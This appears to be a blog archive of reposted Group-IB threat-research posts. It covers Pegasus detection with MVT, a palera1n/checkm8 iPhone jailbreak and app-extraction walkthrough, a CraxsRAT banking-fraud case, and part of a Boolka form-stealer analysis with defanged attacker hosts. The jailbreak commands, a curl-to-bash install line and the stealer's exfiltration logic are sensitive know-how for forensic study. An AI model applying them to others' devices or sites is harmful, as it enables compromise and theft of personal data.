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Tag: Ransomware

In-depth analysis of Pegasus spyware and how to detect it on your iOS device

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

How does Pegasus and other spyware work discreetly to access everything on your iOS device?
Introduction

In today’s digital age, mobile phones and devices have evolved from being exclusive to a few to becoming an absolute need for everyone, aiding us in both personal and professional pursuits. However, these devices, often considered personal, can compromise our privacy when accessed by nefarious cybercriminals.

Malicious mobile software has time and again been wielded as a sneaky weapon to compromise the sensitive information of targeted individuals. Cybercriminals build complex applications capable of operating on victims’ devices unbeknownst to them, concealing the threat and the intentions behind it. Despite the common belief among iOS users that their devices offer complete security, shielding them from such attacks, recent developments, such as the emergence of Pegasus spyware, have shattered this pretense.

The first iOS exploitation by Pegasus spyware was recorded in August 2016, facilitated through spear-phishing attempts—text messages or emails that trick a target into clicking on a malicious link.

What is Pegasus spyware?

Developed by the Israeli company NSO Group, Pegasus spyware is malicious software designed to gather sensitive information from devices and users illicitly. Initially licensed by governments for targeted cyber espionage purposes, it is a sophisticated tool for remotely placing spyware on targeted devices to pry into and reveal information. Its ‘zero-click’ capability makes it particularly dangerous as it can infiltrate devices without any action required from the user.

Pegasus can gather a wide range of sensitive information from infected devices, including messages, audio logs, GPS location, device information, and more. It can also remotely activate the device’s camera and microphone, essentially turning the device into a powerful tool for illegal surveillance.

Over time, NSO Group has become more creative in its methods of unwarranted intrusions into devices.  The company, which was founded in 2010, claims itself to be a “leader” in mobile and cellular cyber warfare.

Pegasus is also capable of accessing data from both iOS and Android-powered devices. The fact that it can be deployed through convenient gateways such as SMS, WhatsApp, or iMessage makes it an effortless tool to trick users into installing the spyware without their knowledge. This poses a significant threat to the privacy and security of individuals and organizations targeted by such attacks.

How does Pegasus spyware work?

Pegasus is extremely efficient due to its strategic development to use zero-day vulnerabilities, code obfuscation, and encryption. NSO Group provides two methods for remotely installing spyware on a target’s device: a zero-click method and a one-click method. The one-click method includes sending the target a regular SMS text message containing a link to a malicious website. This website then exploits vulnerabilities in the target’s web browser, along with any additional exploits needed to implant the spyware.

Zero-click attacks do not require any action from device users to establish an unauthorized connection, as they exploit ‘zero-day’ vulnerabilities to gain entry into the system. Once the spyware is installed, Pegasus actively captures the intended data about the device. After installation, Pegasus needs to be constantly upgraded and managed to adapt to device settings and configurations. Additionally, it may be programmed to uninstall itself or self-destruct if exposed or if it no longer provides valuable information to the threat actor.

Now that we’ve studied what Pegasus is and the privacy concerns it raises for users, this blog will further focus on discussing precautionary and investigation measures. The suggested methodology can be leveraged to detect not just Pegasus spyware but also Operation Triangulation, Predator spyware, and more.

Let’s explore how to check iOS or iPadOS devices for signs of compromise when only an iTunes backup is available and obtaining a full file system dump isn’t a viable option.

In recent years, targeted attacks against iOS devices have made headlines regularly. Although the infections are not widespread and they hardly affect more than 100 devices per wave, such attacks still pose serious risks to Apple users. The risks have appeared as a result of iOS becoming an increasingly complex and open system, over the years, to enhance user experience. A good example of this is the flawed design of the iMessage application, which wasn’t protected through the operating system’s sandbox mechanisms. 

Apple failed to patch this flaw with a security feature called BlastDoorin iOS 14, instead implementing a Lockdown Mode mechanism that, for now, cybercriminals have not been able to bypass. Learn more about Lockdown Mode here.

While BlastDoor provides a flexible solution through sandbox analysis, Lockdown Mode imposes limitations on iMessage functionality. Nonetheless, the vulnerabilities associated with ImageIO may prompt users to consider disabling iMessage permanently. Another major problem is that there are no mechanisms to examine an infected iOS device directly. Researchers have three options:

  1. Put the device in a safe and wait until an exploit is developed that can extract the full file system dump
  2. Analyze the device’s network traffic (with certain limitations as not all viruses can transmit data via Wi-Fi)
  3. Explore a backup copy of an iOS device, despite data extraction limitations

The backup copy must be taken only with encryption (password protection) as data sets in encrypted and unencrypted copies differ. Here, our analysts focus on the third approach, as it is a pragmatic way to safely examine potential infections without directly interacting with the compromised device. This approach allows researchers to analyze the device’s data in a controlled environment, avoiding any risk of further compromising the device and losing valuable evidence that forms the ground for crucial investigation and analysis.

To conduct research effectively, the users will need either a Mac or Linux device. Linux virtual machines can also be used, but it is recommended that users avoid using Windows Subsystem for Linux as it has issues with forwarding USB ports.

In the analysis performed by Group-IB experts, we use an open-source tool called Mobile Verification Toolkit (MVT), which is supported by a methodology report.

Let’s start with installing dependencies:

sudo apt install python3 python3-pip libusb-1.0-0 sqlite3

Next, install a set of tools for creating and working with iTunes backups:

sudo apt install libimobiledevice-utils

Lastly, install MVT:

git clone https://github.com/mvt-project/mvt.git
cd mvt
pip3 install

Now, let’s begin with the analysis. To create a backup, perform the following:

  1. Connect the iOS device and verify the pairing process by entering your passcode.
  2. Enter the following command:

ideviceinfo

Users will receive a substantial output with information about the connected device, such as the iOS version and model type:

ProductName: iPhone OS
ProductType: iPhone12.5
ProductVersion: 17.2.1

After that, users can set a password for the device backup:

idevicebackup2 -i encryption on

Enter the password for the backup copy and confirm it by entering your phone’s passcode.

As mentioned, the above step is crucial to ensure the integrity of the data extracted from the device.

Create the encrypted copy:

idevicebackup2 backup –full /path/to/backup/

This process may take a while depending on the amount of space available on your device. Users will also need to enter the passcode again.

Once the backup is complete (as indicated by the Backup Successful message), the users will need to decrypt it.

To do so, use MVT:

mvt-ios decrypt-backup -p [password] -d /path/to/decrypted /path/to/backup

After being through with the process, users may have successfully decrypted the backup.

Now, let’s check for known indicators. Download the most recent IoCs (Indicators of Compromise):

mvt-ios download-iocs

We can also track IoCs relating to other spyware attacks from several sources, such as:

“NSO Group Pegasus Indicators of Compromise”
“Predator Spyware Indicators of Compromise”
“RCS Lab Spyware Indicators of Compromise”
“Stalkerware Indicators of Compromise”
“Surveillance Campaign linked to mercenary spyware company”
“Quadream KingSpawn Indicators of Compromise”
“Operation Triangulation Indicators of Compromise”
“WyrmSpy and DragonEgg Indicators of Compromise”

  • Indicators from Amnesty International’s investigations
  • Index and collection of MVT compatibile indicators of compromise

The next step is to launch the scanning:

mvt-ios check-backup –output /path/to/output/ /path/to/decrypted/

The users will obtain the following set of JSON files for analysis.

If any infections are detected, the users will receive a *_detected.json file with detections.

Result of MVT IOCs scan with four detections

Image 1: Result of MVT IOCs scan with four detections

The detected results are saved in separate files with "_detected" ending

Image 2: The detected results are saved in separate files with “_detected” ending

If there are suspicions of spyware or malware without IOCs, but there are no detections, and a full file system dump isn’t feasible, users will need to work with the resources at hand. The most valuable files in the backup include:

Safari_history.json – check for any suspicious redirects and websites.

“id”: 5,
“url”: “http://yahoo.fr/”,
“visit_id”: 7,
“timestamp”: 726652004.790012,
“isodate”: “2024-01-11 07:46:44.790012”,
“redirect_source”: null,
“redirect_destination”: 8,
“safari_history_db”: “1a/1a0e7afc19d307da602ccdcece51af33afe92c53”

Datausage.json – check for suspicious processes.

“first_isodate”: “2023-11-21 15:39:34.001225”,
“isodate”: “2023-12-14 03:05:02.321592”,
“proc_name”: “mDNSResponder/com.apple.datausage.maps”,
“bundle_id”: “com.apple.datausage.maps”,
“proc_id”: 69,
“wifi_in”: 0.0,
“wifi_out”: 0.0,
“wwan_in”: 3381.0,
“wwan_out”: 8224.0,
“live_id”: 130,
“live_proc_id”: 69,
“live_isodate”: “2023-12-14 02:45:10.343919”

Os_analytics_ad_daily.json – check for suspicious processes.

“package”: “storekitd”,
“ts”: “2023-07-11 05:24:31.981691”,
“wifi_in”: 400771.0,
“wifi_out”: 52607.0,
“wwan_in”: 0.0,
“wwan_out”: 0.0

Keeping a backup copy of a control device is required to maintain a record of the current names of legitimate processes within a specific iOS version. This control device can be completely reset and reconfigured with the same iOS version. Although annual releases often introduce significant changes, new legitimate processes may still be added, even within a year, through major system updates.

Sms.json – check for links, the content of these links, and domain information.

        "ROWID": 97,
        "guid": "9CCE3479-D446-65BF-6D00-00FC30F105F1",
        "text": "",
        "replace": 0,
        "service_center": null,
        "handle_id": 1,
        "subject": null,
        "country": null,
        "attributedBody": "",
        "version": 10,
        "type": 0,
        "service": "SMS",
        "account": "P:+66********",
        "account_guid": "54EB51F8-A905-42D5-832E-D98E86E4F919",
        "error": 0,
        "date": 718245997147878016,
        "date_read": 720004865472528896,
        "date_delivered": 0,
        "is_delivered": 1,
        "is_finished": 1,
        "is_emote": 0,
        "is_from_me": 0,
        "is_empty": 0,
        "is_delayed": 0,
        "is_auto_reply": 0,
        "is_prepared": 0,
        "is_read": 1,
        "is_system_message": 0,
        "is_sent": 0,
        "has_dd_results": 1,
        "is_service_message": 0,
        "is_forward": 0,
        "was_downgraded": 0,
        "is_archive": 0,
        "cache_has_attachments": 0,
        "cache_roomnames": null,
        "was_data_detected": 1,
        "was_deduplicated": 0,
        "is_audio_message": 0,
        "is_played": 0,
        "date_played": 0,
        "item_type": 0,
        "other_handle": 0,
        "group_title": null,
        "group_action_type": 0,
        "share_status": 0,
        "share_direction": 0,
        "is_expirable": 0,
        "expire_state": 0,
        "message_action_type": 0,
        "message_source": 0,
        "associated_message_guid": null,
        "associated_message_type": 0,
        "balloon_bundle_id": null,
        "payload_data": null,
        "expressive_send_style_id": null,
        "associated_message_range_location": 0,
        "associated_message_range_length": 0,
        "time_expressive_send_played": 0,
        "message_summary_info": null,
        "ck_sync_state": 0,
        "ck_record_id": null,
        "ck_record_change_tag": null,
        "destination_caller_id": "+66926477437",
        "is_corrupt": 0,
        "reply_to_guid": "814A603F-4FEC-7442-0CBF-970C14217E1B",
        "sort_id": 0,
        "is_spam": 0,
        "has_unseen_mention": 0,
        "thread_originator_guid": null,
        "thread_originator_part": null,
        "syndication_ranges": null,
        "synced_syndication_ranges": null,
        "was_delivered_quietly": 0,
        "did_notify_recipient": 0,
        "date_retracted": 0,
        "date_edited": 0,
        "was_detonated": 0,
        "part_count": 1,
        "is_stewie": 0,
        "is_kt_verified": 0,
        "is_sos": 0,
        "is_critical": 0,
        "bia_reference_id": null,
        "fallback_hash": "s:mailto:ais|(null)(4)<7AD4E8732BAF100ABBAF4FAE21CBC3AE05487253AC4F373B7D1470FDED6CFE91>",
        "phone_number": "AIS",
        "isodate": "2023-10-06 00:46:37.000000",
        "isodate_read": "2023-10-26 09:21:05.000000",
        "direction": "received",
        "links": [
            "https://m.ais.co.th/J1Hpm91ix"
        ]
    },

Sms_attachments.json – check for suspicious attachments.

        "attachment_id": 4,
        "ROWID": 4,
        "guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "created_date": 726724286,
        "start_date": "",
        "filename": "~/Library/SMS/Attachments/b8/08/97883E8C-99FA-40ED-8E78-36DAC89B2939/IMG_0005.HEIC",
        "uti": "public.heic",
        "mime_type": "image/heic",
        "transfer_state": 5,
        "is_outgoing": 1,
        "user_info": ",
        "transfer_name": "IMG_0005.HEIC",
        "total_bytes": 1614577,
        "is_sticker": 0,
        "sticker_user_info": null,
        "attribution_info": null,
        "hide_attachment": 0,
        "ck_sync_state": 0,
        "ck_server_change_token_blob": null,
        "ck_record_id": null,
        "original_guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "is_commsafety_sensitive": 0,
        "service": "iMessage",
        "phone_number": "*",
        "isodate": "2024-01-12 03:51:26.000000",
        "direction": "sent",
        "has_user_info": true
    }

Webkit_session_resource_log.json andwebkit_resource_load_statistics.json – check for suspicious domains.

{
        "domain_id": 22,
        "registrable_domain": "sitecdn.com",
        "last_seen": 1704959295.0,
        "had_user_interaction": false,
        "last_seen_isodate": "2024-01-11 07:48:15.000000",
        "domain": "AppDomain-com.apple.mobilesafari",
        "path": "Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db"
    }

Tcc.json – check which applications have been granted which permissions.

        "service": "kTCCServiceMotion",
        "client": "com.apple.Health",
        "client_type": "bundle_id",
        "auth_value": "allowed",
        "auth_reason_desc": "system_set",
        "last_modified": "2023-07-11 06:25:15.000000"

To collect data about processes, users can use XCode Instruments.

Note: Developer mode must be enabled on the iOS device.Showcasing XCode instruments profile selection

Image 3: Showcasing XCode instruments profile selection

Process data collection:

Process list from iPhone

Image 4: Process list from iPhone

Overcoming the iOS interception challenge

For the common public

iOS security architecture typically prevents normal apps from performing unauthorized surveillance. However, a jailbroken device can bypass these security measures. Pegasus and other mobile malware may exploit remote jailbreak exploits to steer clear of detection by security mechanisms. This enables operators to install new software, extract data, and monitor and collect information from targeted devices.

Warning signs of an infection on the device include:

  • Slower device performance
  • Spontaneous reboots or shutdowns
  • Rapid battery drain
  • Appearance of previously uninstalled applications
  • Unexpected redirects to unfamiliar websites

This reinstates the critical importance of maintaining up-to-date devices and prioritizing mobile security. Recommendations for end-users include:

  • Avoid clicking on suspicious links
  • Review app permissions regularly
  • Enable Lockdown mode for protection against spyware attacks
  • Consider disabling iMessage and FaceTime for added security
  • Always install the updated version of the iOS

For businesses: Protect against Pegasus and other APT mobile malware

Securing mobile devices, applications, and APIs is crucial, particularly when they handle financial transactions and store sensitive data. Organizations operating in critical sectors, government, and other industries are prime targets for cyberattacks such as espionage and more, especially high-level employees.

Researching iOS devices presents challenges due to the closed nature of the system. Group-IB Threat Intelligence, however, helps organizations worldwide identify cyber threats in different environments, including iOS, with our recent discovery being GoldPickaxe.iOS – the first iOS Trojan harvesting facial scans and using them to potentially gain unauthorized access to bank accounts. Group-IB Threat Intelligence provides a constant feed on new and previously conducted cyber attacks, the tactics, techniques, and behaviors of threat actors, and susceptibility of attacks based on your organization’s risk profile— giving a clear picture of how your devices can be exploited by vectors, to initiate timely and effective defense mechanisms.

If you suspect your iOS or Android device has been compromised by Pegasus or similar spyware, turn to our experts for immediate support. To perform device analysis or set up additional security measures, organizations can also get in touch with Group-IB’s Digital Forensics team for assistance.

Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

GoldPickaxe exposed: How Group-IB analyzed the face-stealing iOS Trojan and how to do it yourself

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In the recent Hi-Tech Crime Trends report, Group-IB experts highlighted a concerning shift in the focus of cybercriminals towards Apple devices. The shift is driven by the increasing popularity and adoption of Apple products in both consumer and corporate environments. As a result, the number of malicious programs targeting iOS and macOS devices has risen exponentially.

The App Store, once considered highly secure, is now at risk of frequent attempts to distribute malware. The increased use of iCloud and other Apple cloud services has made these platforms more appealing to cybercriminals. What’s more, Apple is now officially allowing third-party app stores to distribute iOS apps in Europe. The change is due to Apple being designated a “gatekeeper” under the EU’s Digital Markets Act (DMA). Threat actors are expected to capitalize on this development.

Cybercriminals have started modifying schemes traditionally aimed at Android to target iOS. Group-IB’s discovery of GoldPickaxe malware illustrates this trend. GoldPickaxe, the first iOS Trojan that harvests facial recognition data, is a modified version of the Android Trojan GoldDigger — but with new capabilities. In our detailed analysis, Group-IB experts dissected the new Trojan and found that cybercriminals had leveraged stolen data to impersonate real users and log into their bank accounts.

Hackers will likely continue to look for new ways of exploiting Apple devices, especially as smart technologies and IoT devices become used more widely. This increasing threat landscape shows how important it is to understand how to analyze iOS-related malware. In this article, we will guide you through the process of jailbreaking an iOS device for investigation purposes. By leveraging vulnerabilities such as Checkm8, cybersecurity experts can examine applications thoroughly and uncover potential threats. The goal of the guide is to equip readers with the tools and knowledge they need to investigate iOS devices, analyze any installed apps, and mitigate risks posed by iOS-related threats.

Dangers behind outdated Apple solutions: Checkm8 vulnerability

New security concerns around Apple devices keep coming to light. They are often announced by Apple itself in regular security bulletins. Such disclosures emphasize the importance of informing users about potential risks and how to address them properly. One notable and enduring threat is the checkm8 vulnerability, discovered in 2019. Checkm8 is a bootloader vulnerability that is “burned into the silicon,” which means that it is impossible to completely fix it with software updates. The flaw allows attackers to compromise a device almost irrespective of the iOS version it runs. Apple has made strides to mitigate its impact, for example with the A12 Bionic chip that protects newer devices (iPhone XS/XR and later), but older models remain at risk.

The checkm8 vulnerability is especially relevant today because it is being exploited by many various vendors, who use it to brute-force passcodes on iOS devices. Moreover, the interconnected nature of Apple’s ecosystem means that if one device associated with an Apple ID is compromised, all devices linked to that ID are also at risk. This underscores the importance of not only updating to newer, more secure devices but also of employing stringent security practices across all connected Apple products.

How to jailbreak iOS for investigation purposes

In our recent article, Group-IB experts discussed how to detect sophisticated spyware like Pegasus, which is often used by advanced threat actors and state-sponsored groups to execute zero-click exploits, affecting zero-day vulnerabilities, and gain full remote control of devices without the victims noticing. But what if you need to examine a full-fledged application?

When conducting an in-depth analysis of iOS devices and the apps installed on them, users need to be aware that iOS does not back up apps themselves but only the data they contain, and to a limited extent. It is not enough to rely on a backup copy alone.

To analyze an iPhone, users will require a device that can be jailbroken and forensics tools for jailbreaking iOS devices. The following tools are the most up-to-date:

ProcessorA8-A11A8-A16
DevicesiPhone 6S, 7, 8, XiPhone 6S-14
JailbreakPalera1nDopamine
iOS versionsAll15.0.0-16.5.1

The most accessible option for cybersecurity experts is to acquire an iPhone X, which features a vulnerable bootrom (Checkm8  vulnerability) and runs a relatively recent iOS version (16), enabling the installation and normal functioning of all applications. While Checkm8 poses risks to users, mobile forensic experts can leverage the vulnerability to analyze malware.

To jailbreak your device, you’ll require MacOS and Palera1n, a tool primarily intended for research. However, if you need a low-level copy of a device—referred to as a full logic copy—using this vulnerability, it’s advisable to use agents that are more forensically sound. These agents make minimal changes and leave fewer traces on the device, which is crucial for forensic analysis, especially when extracting digital evidence stored on the phone. You can learn more about bootloader-level extractions here.

Let’s start with downloading the jailbreak utility.

Next, sign it:

codesign --force --deep --sign - palera1n-macos-universal

And allow its execution:

chmod 777 palera1n-macos-universal

Next, try to run the tool:

./palera1n-macos-universal

Request for permission to execute an application for jailbreaking

Figure 1. Request for permission to execute an application for jailbreaking

Allow execution:Settings menu to give permission to run the application

Figure 2. Settings menu to give permission to run the application

NB: Whenever you bypass built-in security mechanisms in MacOS, it is essential to ensure that the binary file is safe and trustworthy. If there is any doubt, it is safer to perform such operations within a virtual machine.

Jailbreaking a device can be done in two ways: rootful or rootless. For our purposes, we’ll opt for the rootless approach, without delving into specific technicalities.

If you are using a device with an Apple A11 processor running the latest iOS 16, it is crucial that the device has never had a passcode set and that the Secure Enclave Processor (SEP) state has remained unchanged. Simply removing the passcode won’t suffice in this scenario. You will need to completely reset the device—erase all content and settings—and set it up again from scratch. For further information, you can refer to the link.

To begin the jailbreak process, connect your iPhone to your computer using a USB-A to Lightning cable. When prompted on your iPhone, select “Trust” to establish the connection between the device and the computer. Once the connection is established and trusted, you can proceed to start the jailbreak procedure.

./palera1n-macos-universal

During the installation process, your phone will enter recovery mode. Following this, adhere to the timer and instructions displayed in the terminal. When prompted, manually switch the device to DFU (Device Firmware Update) mode according to the provided guidance.Example of a timer in a terminal showing how to hold and press the buttons

Figure 3. Example of a timer in a terminal showing how to hold and press the buttons

If the process freezes, which can sometimes happen, try reconnecting the Lightning cable a few times. This may help to resolve the issue and allow the jailbreak process to continue smoothly.

Voilà! After the tool has been downloaded, you will find yourself with a jailbroken phone equipped with an app manager—in this instance, Sileo.App managers Sileo and Zebra

Figure 4. App managers Sileo and Zebra

Once launched, Sileo will prompt you to set a password for the “su” command. We highly advise setting the standard password: “alpine“. This is recommended because “alpine” is the default password for most utilities and tweaks—around 99% of them. Opting for any other password would require you to re-enter it in numerous places throughout the system.

Next, install Frida, a dynamic code instrumentation toolkit. To do so, add the repository to Sileo.Repository list

Figure 5. Repository list

It’s time to install Frida.

Repository list

Once Frida is installed, you will need a Linux-based computer or a virtual machine. For our analysis, Group-IB experts used a Parallels virtual machine running Ubuntu.

Connect your iPhone to the machine and click “Trust” on the device to establish the connection:

Connect your iPhone to the machine and click “Trust”

First, perform some basic installations (if you’re an advanced user, you already know how):

sudo apt update
sudo apt upgrade
sudo curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
Restart teminal
nvm install --lts
nvm use --lts
npm install -g bagbak

Use bagbak to decrypt the application and extract it from the iPhone.

Enumerate the available packages:

bagbak -l

Output of the command bagbak -l

Figure 6. Output of the command bagbak -l

Check the list for the app you would like to be decrypted, and extract it from the iPhone. In this example, we are looking for com.nnmakakl.ajfihwejk. Also, it is important to take note and remember the app name.Results of the search for the app

Figure 7. Results of the search for the app

Set port 44 for SSH using is a special feature of palera1n and extract the app.

export SSH_PORT=44
// 44 ssh port for Paler1in jailbreak
bagbak com.nnmakakl.ajfihwejk
Results of the search for the app

Mission accomplished! The result is an iOS App Store package (IPA) file of the app that is now decrypted and ready for analysis.

The result is an iOS App Store package (IPA) file of the app

To find out what was inside the file, read our article.

How to stay safe against iOS threats

Despite having been discovered many years ago, vulnerabilities such as Checkm8 remain a threat on account of their ability to become deep-seated in the device’s hardware. New exploitation methods continue to emerge, which makes older devices particularly vulnerable. If a device linked to an Apple ID is compromised, it jeopardizes all devices associated with it and all synchronized data. Group-IB experts recommend taking the following steps to protect your devices:

For the general public:

  • Avoid connecting your primary Apple ID to devices that are known to be vulnerable to the Checkm8 exploit.
  • Use separate Apple IDs for older, vulnerable devices to minimize risk and limit data exposure.
  • Ensure a passcode is configured on your devices so that they benefit from the additional security provided by recent iOS updates.
  • Upgrade to newer devices with the A12 Bionic chip (iPhone XS/XR and later), which are immune to the Checkm8 vulnerability.
  • Never click on suspicious links. Mobile malware is often spread through malicious links in emails, text messages, and social media posts.
  • Carefully review the requested permissions when installing a new application and be on extreme alert when an app requests the Accessibility Service.
  • Refrain from engaging in unknown Testflight campaigns and avoid installing unknown MDM profiles and certificates.

For businesses: Protect against evolving iOS threats

  • Organizations seeking to perform device analysis or implement additional security measures can contact Group-IB’s Digital Forensics team for further assistance.
  •  Analyzing iOS devices is particularly challenging due to the closed nature of the operating system. However, Group-IB’s Threat Intelligence team, which discovered GoldPickaxe.iOS, has the expertise needed to analyze even the most sophisticated malware families in depth and identify vulnerabilities exploited by threat actors. Group-IB Threat Intelligence provides detailed insights into attacker behaviors, helping you to understand how your devices are targeted and to protect your infrastructure in a timely and effective way.
  • To detect malware and block anomalous sessions before users enter any personal information, Group-IB recommends implementing a user session monitoring system such as Group-IB Fraud Protection.
  • Train your employees in risks related to mobile malware. This includes teaching them how to spot fake websites and malicious apps and how to protect their passwords and personal information.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Beware CraxsRAT: Android Remote Access malware strikes in Malaysia

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Background

In May 2024, the Group-IB team received a request from a Malaysia-based financial organization to investigate a malware sample targeting its clients in the Asia-Pacific region.

Based on details from the customer and the analysis by the Group-IB Fraud Protection team, the malware scenario was reconstructed as follows:

The victim visited a phishing website impersonating a local legitimate food brand, which prompted the victim to download an app to make a purchase. Approximately 5 minutes after downloading the app, the victim’s credentials were stolen, and experienced an unauthorized withdrawal of funds from the victim’s bank within 20 minutes of installing the app on their mobile device.Example of phishing website craxs rat

Figure 1. Example of phishing websiteAttack Flow Diagram

Figure 2. Attack Flow Diagram

After analyzing the malware sample, Group-IB Threat Intelligence experts concluded that this malware sample was attributed to the CraxsRAT.

Malware Profile

CraxsRAT is a notorious malware family of Android Remote Administration Tools (RAT) that features remote device control and spyware capabilities, including keylogging, performing gestures, recording cameras, screens, and calls. For more in-depth technical information and insights into such malware can be found in our  CraxsRAT malware blog. While this Android RAT family has the capability to send SMSes to the victim’s contacts that can be used for further distribution, Group-IB’s Fraud Protection team did not observe this in use during this campaign.Trojan first screen Craxs rat

Figure 3. Trojan first screen

Scheme Target

In this campaign, CraxsRAT primarily targets banking organizations in Malaysia. Following a request from a customer, Group-IB began an investigation and found over 190 additional samples in Malaysia. They all share the same package name generation scheme and impersonated local legitimate brands within the retail services, infrastructure, food and beverages, delivery and logistics, and other consumer-oriented businesses. Brands are identified based on applications’ labels.

Impact

Victims that downloaded the apps containing CraxsRAT android malware will experience credentials leakage and their funds withdrawal illegitimately. Financial organizations targeted by CraxsRAT may experience potential damage to their brand reputation, in addition to increased compliance costs.

Modus Operandi

Fraud Matrix of craxs rat campaign in malaysia

Figure 4. Fraud Matrix of this campaign

Detection and Prevention

Fraud Protection Events

To protect its clients from the threats posed by CraxsRAT android malware and similar threats, Group-IB Fraud Protection utilizes events/rules to detect and prevent CraxsRAT and other similar malware:

For Confirmed CraxsRAT Malware Samples

Group-IB Fraud Protection maintains a comprehensive database of all detected malware. When Fraud Protection system identifies applications from a mobile trojan list being downloaded onto an end user’s device, corresponding events would be triggered to promptly notify clients.Example of “Mobile Banking Trojan” in group-ib fraud protection software

Figure 5. Example of “Mobile Banking Trojan”

For Ongoing Updated and New Strains – Signature-Based Detection

By analyzing the characteristics and fraudulent behavior matrix of CraxsRAT android malware, Group-IB Fraud Protection analysts develop new rules based on these shared attributes and defrauding techniques. These events target undetected or updated CraxsRAT malware samples and new strains exhibiting similar features, even without specific malware signatures.

For any other fake apps – Behaviour-Based Detection

Fake apps often require end users to grant Accessibility service access and enable remote access to their Android devices upon installation. Group-IB’s Fraud Protection Platform can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These alerts are communicated to banks, enhancing the likelihood of preventing fraudulent transactions by threat actors.

Example of session on infected device

Example of session on infected device

Figure 6. Example of session on infected device

Mitigation from Other Perspectives

For End Users

End-users should install mobile applications from authorized app stores such as Google Play and the Apple Store to avoid downloading fake apps containing malware. Downloading apps from third-party sites significantly increases the risk of encountering fake app scam. Additionally, users should exercise caution when clicking suspicious buttons or links found on unknown websites or in emails to avoid unintentional granting high-privilege access to fraudsters and the potential loss of credentials.

For banking organizations

Banking organizations play a pivotal role in safeguarding their customers’ financial information. It is imperative for banks to educate customers about security best practices and promote proactive behavior. This includes advising customers to install mobile banking apps only from authorized app stores, avoid clicking on suspicious links, and regularly monitor their accounts for unusual activity. Additionally, banks should implement multi-factor authentication, real-time fraud detection systems, and provide timely alerts to customers regarding potential security threats. By fostering a culture of security awareness, banking organizations can significantly reduce the risk of fraudulent transactions and enhance overall trust in their services.

Conclusion

CraxsRAT malware allows fraudsters to remotely access a victim’s device and steal credentials, leading to financial loss. In addition, CraxsRAT malware is rapidly evolving, with a dramatically increasing number of new strains emerging each day. To build a multi-dimensional detection method for identifying sessions with confirmed malware samples or emerging new strains, the following events are recommended for clients of the Fraud Protection system:

  • Events – Signature-based detection: Fraud Protection can detect the mobile trojan and suspicious mobile application. These events facilitate the detection of confirmed malware samples, mobile trojans listed in the Fraud Protection trojan list, and any suspicious mobile applications.
  • Events – Behavior-based detection: Fraud Protection can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These events enable the detection of emerging malware strains by analyzing their behaviors.
  • Events – Statistic-based detection: Fraud Protection can detect changes in user provider, high-risk ISPs, and IPs from high-risk countries. These events help identify suspicious IPs, subnets, and countries linked to known frauds or malwares, serving as informative notifications or as part of a combination of events to prevent fraudulent activity.
  • Events – Cross-department detection: In cooperation with Threat Intelligence, Fraud Protection can detect compromised user login. These events enable the tracking of activities of users whose accounts have been compromised, serving as user notifications or as part of a combination of events to prevent fraudulent activity.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Boolka Unveiled: From web attacks to modular malware

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In January 2024, during the analysis of the infrastructure used by ShadowSyndicate Group-IB Threat Intelligence analysts detected a landing page designed to distribute the BMANAGER modular trojan, created by threat actor dubbed Boolka. Further analysis revealed that this landing page served as a test run for a malware delivery platform based on BeEF framework. The threat actor behind this campaign has been carrying out opportunistic SQL injection attacks against websites in various countries since at least 2022. Over the last three years, the threat actor have been infecting vulnerable websites with malicious JavaScript scripts capable of intercepting any data entered on an infected website.

This blogpost contains a description of:

  • injected JS snippets used by the attacker we named Boolka
  • a newly discovered trojan we dubbed BMANAGER

YARA rules are available for Group-IB Threat Intelligence customers.

If you have any information which can help to shed more light on this threat and enrich current research, please join our Cybercrime Fighters Club. We would appreciate any useful information to update the current blog post.

Description

Discovery via InfraStorm connection

In January 2024 Group-IB detected a new ShadowSyndicate server with IP address 45.182.189[.]109 by SSH fingerprint 1ca4cbac895fc3bd12417b77fc6ed31d. This server was used to host a website with domain name updatebrower[.]com. Further analysis showed that this website serves a modified version of Django admin page with injected script loaded from hXXps://beef[.]beonlineboo[.]com/hook.js.

The SSH key was mentioned in Group-IB blogpost. Based on that, an assumption was made that ShadowSyndicate is a RaaS affiliate that uses various types of ransomware, which is the most plausible case.

However, the information obtained during this research decreased the chance of this assumption being correct. We will continue to monitor InfraStorm assets to clarify the attribution. At the moment it looks like the aforementioned SSH belongs to some bulletproof hosting provider or VPN.

Web attacks

Threat actor Boolka started his activities in 2022 by infecting websites with malicious form stealing JavaScript script. The threat actor injected the following script tag into HTML code of websites (Picture 1).Boolka malware Injected script tag

Picture 1: Injected script tag

When a user visits the infected website, the script will be downloaded and executed. During execution it performs two main actions.

First, it sends a request to the threat actor’s server to notify it that the script was executed. It utilizes HTTP GET parameters with “document.location.hostname” returning the hostname of the infected website; and the current URL being Base64-encoded (Picture 2).

Boolka malware Sending a beacon to C2

Picture 2: Sending a beacon to C2

Second, it collects and exfiltrates user input from infected website (Picture 3)Boolka malware Data collection and exfiltration

Picture 3: Data collection and exfiltration

The Boolka formstealing JavaScript script actively monitors user interactions, capturing and encoding input data from forms into session storage when form elements like inputs, selects, and buttons are changed or clicked. It sends all stored session data (collected form values) encoded in Base64 format back to the threat actor’s server. This behavior suggests that the script is designed for data exfiltration, potentially capturing sensitive user inputs such as passwords and usernames.

